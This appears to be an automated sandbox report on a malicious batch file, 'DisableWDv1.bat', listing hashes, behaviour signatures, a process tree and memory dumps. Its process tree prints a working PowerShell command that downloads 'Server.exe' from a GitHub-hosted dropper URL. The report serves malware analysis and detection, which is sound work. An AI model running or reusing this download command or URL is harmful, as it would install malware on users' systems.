Analysis

  • max time kernel
    120s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    08-01-2025 22:39

General

  • Target

    DisableWDv1.bat

  • Size

    664B

  • MD5

    d5ae652c3c0c4ed6269743dbfb5ce953

  • SHA1

    43a8888f001b9b7e2629746848f2a1601acb60f2

  • SHA256

    bc29f3e495e73cab8b5cc4b63d0048109fe3f33f3d209939a279053d4091448e

  • SHA512

    2d05a38a154adfba0b2e6d0ff38a6c3e21b6f0ec840f5618bee6b06836aef255cf98d4ad578cedf4a49955fa1cb0c4d3255c028a47fd83dcc6af1e20b62e9499

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://raw.githubusercontent.com/pebiko70/test/main/Server.exe

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\DisableWDv1.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2892
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2796
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:2772
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/pebiko70/test/main/Server.exe', 'C:\Users\Admin\AppData\Local\Temp\Server.exe')"
        2⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2944

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2944-4-0x000007FEF59DE000-0x000007FEF59DF000-memory.dmp

      Filesize

      4KB

    • memory/2944-5-0x000000001B310000-0x000000001B5F2000-memory.dmp

      Filesize

      2.9MB

    • memory/2944-6-0x0000000001FC0000-0x0000000001FC8000-memory.dmp

      Filesize

      32KB

    • memory/2944-7-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

      Filesize

      9.6MB

    • memory/2944-8-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

      Filesize

      9.6MB

    • memory/2944-9-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

      Filesize

      9.6MB

    • memory/2944-10-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

      Filesize

      9.6MB

    • memory/2944-11-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

      Filesize

      9.6MB